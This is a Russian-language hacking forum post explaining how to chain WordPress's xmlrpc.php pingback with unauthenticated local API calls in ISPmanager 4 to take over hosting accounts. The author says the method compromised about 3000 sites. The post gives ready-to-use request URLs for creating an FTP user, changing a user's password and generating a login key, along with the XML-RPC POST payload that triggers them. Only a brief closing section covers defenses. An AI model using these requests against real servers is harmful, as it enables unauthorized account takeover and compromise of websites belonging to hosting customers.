ПЕНТЕСТИНГ Уязвимость SSRF, или как взломать 3000 сайтов

Тема в разделе "ПЕНТЕСТИНГ (Паблик)", создана пользователем X-Shar, 3 окт 2016.

↑ ↓
  1. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.809
    Симпатии:
    427
    Пол:
    Мужской
    Репа:
    +961 / 152 / -29
    Jabber:
    Skype:
    ICQ:

    638294628

    2104ab5f076e4a71873331aaed69a5a5.

    Всем привет ! :)

    Уязвимости около трех недель, как её выложили в паблик, не в паблике она была дольше...:)

    Многие молчат, а я скажу, что при помощи этих я-бы сказал комплексных уязвимостей, было взломано около 3000 сайтов хостинга FirstVDS (Массовый взлом FirstVDS), итак в чём-же баг и как юзать:

    В ISPmanager 4 (Для пятой версии это неактуально) имеется возможность управления через api без авторизации. Просто отправляем GET запрос на внутренний адрес http://127.0.0.1/manager и панель автоматически, работая от рута, распознает от какого пользователя был отправлен запрос и выполняет его с правами этого пользователя. Примеры:

    Создать ftp-пользователя к корневой папке пользователя:

    Код:
    http://127.0.0.1/manager/ispmgr?name=[ftpuser]&passwd=[pass]&htype=equalme&dir=&disklimit=0&note=&func=ftp.edit&elid=&sok=ok&out=json
    Cмена пароля пользователя(нужно знать имя пользователя, чтобы потом авторизоваться):
    Код:
    http://127.0.0.1/manager/ispmgr?out=json&name=[user]&passwd=[pass]&confirm=[pass]&func=usrparam&elid=[user]&sok=ok
    Создать ключ для авторизации по ключу(нужно знать имя пользователя, чтобы потом авторизоваться):
    Код:
    http://127.0.0.1/manager/ispmgr?out=xml&func=session.newkey&username=&key=98946945603567567567567

    Пример как заюзать:


    В wordpress имеется возможность отправлять запросы от сервера через функцию pingback в файле xmlrpc.php. Нужно лишь знать путь к существующей странице на сайте. Отправляем POST запрос к скрипту http://site.com/xmlrpc.php вида:

    <methodCall>
    <methodName>pingback.ping</methodName>
    <params>
    <param><value><string>http://site.com/manager/ispmgr?name...;sok=ok&amp;out=json</string></value></param>
    <param><value><string>http://site.com/?p=2</string></value></param>
    </params>

    И сервер сам к себе отправляет запрос, а панель создает ftp пользователя и заданными именем и паролем. Обычно отправку несанкционированного запроса от сервера называют SSRF уязвимостью, но разработчики Wordpress считают пинговалку фичей и исправлять явно не будут.

    ЗАЩИТА:

    Можно удалить файл xmlrpc.php, но ssrf могут быть и в других скриптах, эту уязвимость часто игнорируют. Если не пользуетесь api - отключите его в файл-конфиге isp.

    А ЛУЧШЕ ОБНОВИТЬ ПАНЕЛЬ ДО ПОСЛЕДНЕЙ ПЯТОЙ ВЕРСИИ !
     
    • Мне нравится Мне нравится x 2

Поделиться этой страницей